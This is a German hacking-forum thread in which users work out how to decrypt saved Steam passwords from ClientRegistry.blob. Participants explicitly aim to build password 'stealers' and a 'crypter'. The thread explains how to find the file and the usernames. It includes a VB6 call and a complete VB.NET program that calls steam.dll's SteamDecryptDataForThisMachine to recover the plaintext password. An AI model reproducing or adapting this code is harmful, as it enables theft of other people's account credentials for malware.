hi @all Ist es möglich ClientRegistry.blob zu decrypten? Wenn ja, Code? THX im vorraus! Phipu
Druckbare Version
hi @all Ist es möglich ClientRegistry.blob zu decrypten? Wenn ja, Code? THX im vorraus! Phipu
Nein, dafür brauchst du noch mehr Zeug, u.A. aus der Registrierung etc.
in der Tat, gibts: http://aluigi.freeforums.org/
Aber eigtl. reicht die Funktion SteamDecryptDataForThisMachine, ist wirklich easy geworden, seit die steam.dll diese Funktion exportiert :)
koenntest du genauer werden? ich dachte immer das es in vb nicht geht das steam pw zu entschlüsseln. an die benötigten werte kommen ist einfach aber wie entschlüsseln?
hier ist ein Source für VB.NET http://209.85.129.132/search?q=cache...ient=firefox-a hier ist das ganze in C: http://aluigi.freeforums.org/how-ste...ks-t19-30.html Du musst es nur irgendwie schaffen, die FUnktion SteamDecryptDataForThisMachine aus der steam.dll in deinem Programm zu nutzen, das geht normalerweise mit LoadLibrary & GetProcAddress. Wie der zu entschlüsselnde Wert gebildet wird, kannst du dir ja mal im Source anschauen.
coded lieber mal was gescheites, wie den korrekten Usernamen zudem richtigen Passwort. Steam Decrypter gibts ne Menge...
ka hab mit beiden nix am hut daher koennt ichs eh nicht in vb6 übersetzen...
wenn esw soviele steam decrypter geht dann gib mir ma nen vb6 src... mir gehts darum ob es mit vb6 realisierbar ist. hab aber gehoert das es net gehen soll in vb...
ist bestimmt irgendwie möglich... viele Stealer sind auch in VB gecodet und klauen Steam-PWs... schau dir einfach von aluigi den C source an.
Ich glaub der benutzt das alles ohne steam.dll einfach in der ClientRegistry.blob irgendwelche Hex-Codes auslesen etc. so etwas kann bestimmt auch VB...
Irrtum, das VERSCHLÜSSELTE Pw ist in der clientregistry.blob gespeichert, zum entschlüsseln wird die Steamfunktion genutzt, weil das einfacher ist, als den Algorithmus zu reversen (das hat aber glaub ich auch schon einer gemacht, siehe aluigi.freeforums.com).Zitat:
st bestimmt irgendwie möglich... viele Stealer sind auch in VB gecodet und klauen Steam-PWs... schau dir einfach von aluigi den C source an.
Ich glaub der benutzt das alles ohne steam.dll einfach in der ClientRegistry.blob irgendwelche Hex-Codes auslesen etc. so etwas kann bestimmt auch VB..
Und die größte Schwierigkeit wird es wohl sein eine Funktion dynamisch zu laden, da VB6 afaik keine ordentlische Zeigerarithmetik hat.
ok.... trotzdem viel Glück ;)
@Hamtaro: dann gehts met in vb6 oder? dann lag ich richtig... shiCe
Was nicht heißt, dass sie die Logins selber entschlüsseln! Die meistens nutzen 3rd hand tools, die sie als Resourcen droppen, die Daten entschlüsseln lassen und dann nurnoch versenden!
Möglich ist es das ganze auch nur in VB zu machen, wie frag mich aber nicht, hab mich nie mit PW's decrypten beschäftigt, aber erinner mich dran, dass einige gesagt haben es würde gehen und es auch schon Stealer gibt, die sich die Daten so holen! Es geht irgendwie über die steam.dll, wie genau aber keine Ahnung!
naja einfach alle ordner aus dem ordner Steam\steamapps\ auflisten
is doch auch ok D;
zum thema wie schon auf seite 1 steht würd ich das mit loadlibary und getprocaddress probieren
das man die registry brauch ist schon richtig
von dort entnimmst du den install pfad von steam damit du weisst wo sich die ClientRegistry.blob (in der das passwort verschlüsselt gespeichert ist) befindet
auserdem kann man dann wie ich oben geschrieben habe die ordner namen aus Steam\Steamapps\ auflisten um die Usernamen zu bekommen
denn nicht jeder hat das spiel unter "C:\Programme" installiert zB bei Vista "C:\Programm Files" oder manche benutze ordner wie "Games"
darauf sollte man achten wenn man soetwas codet deshalb funktionieren öfter verschiedene programme nicht unter vista
natürlich kannst du es auch in C kompilieren und als resource in dein vb prog einbauen hab ich früher auch getan bis ich dann ein recode komplett in c++ gemacht habe (http://www.pic-upload.de/02.03.09/ycvgja.jpg)
nur der ServerEditor ist in vb gecodet ;]
http://aluigi.freeforums.org/how-ste...works-t19.html
Also um es mit VB zu machen, brauchst du ne wrapper class, denn VB6 unterstützt die cdecl Methode nicht.
Ich habs mit der Klasse
versucht, aber anscheinend wird das Verschlüsselte Passwort nicht richtig übergeben.
Denn ich bekomm als Rückgabewert nur ne 8 :(... vlt. hat ja einer ne ahnung, ich hab keine Lust weiterrum zu testen^^Code:CallFunc("SteamDecryptDataForThisMachine", strptr(encpwd), Len(encpwd), StrPtr(pwd), 46, 0)
Mfg
w0red
ich werd es mir mal anschauen und hoffen das es geht und ich net wieder mal zeit verschwende weil ich rumprobiere und es dann eh net geht ^^
Und dann probiert mans anders.Zitat:
ich werd es mir mal anschauen und hoffen das es geht und ich net wieder mal zeit verschwende weil ich rumprobiere und es dann eh net geht ^^
Das nennt man Forschung. :)
http://images.cafepress.com/product/...x350_Front.jpg
naja forschung missglückt ... egal will eh erst mal an dem crypter weitermachen das hat vorrang der stealer hat noch nen bissel time ^^
Das Passwort zu Entschlüsseln, ist doch wohl das geringste Problem...
Ich weis gar nicht was ihr alle habt, ihr macht euch ja einen kopf...
Habe es mal hier für euch in .NET.
Greets IgoeCode:Imports System.Runtime.InteropServices
Imports System.Text
Module SteamDecrypt
<DllImport("Steam.dll", CallingConvention:=CallingConvention.Cdecl)> _
Public Function SteamDecryptDataForThisMachine(ByVal encryptedData As String, ByVal encryptedDataSize As Integer, ByVal decryptedBuffer As StringBuilder, ByVal decryptedBufferSize As Integer, ByRef decryptedDataSize As Integer) As Integer
End Function
Sub Main(ByVal args() As String)
Dim encpwd As String = Console.ReadLine()
Dim decryptedDataSize As Integer = 0
Dim pwd As New StringBuilder
pwd.Length = encpwd.Length / 2
If SteamDecryptDataForThisMachine(encpwd, encpwd.Length, pwd, pwd.Length, decryptedDataSize) = 0 Then
Console.WriteLine(Constants.vbLf & " Password: " & pwd.ToString())
Console.ReadLine()
End If
End Sub
End Module
self coden steam ist sehr schelcht gesetzt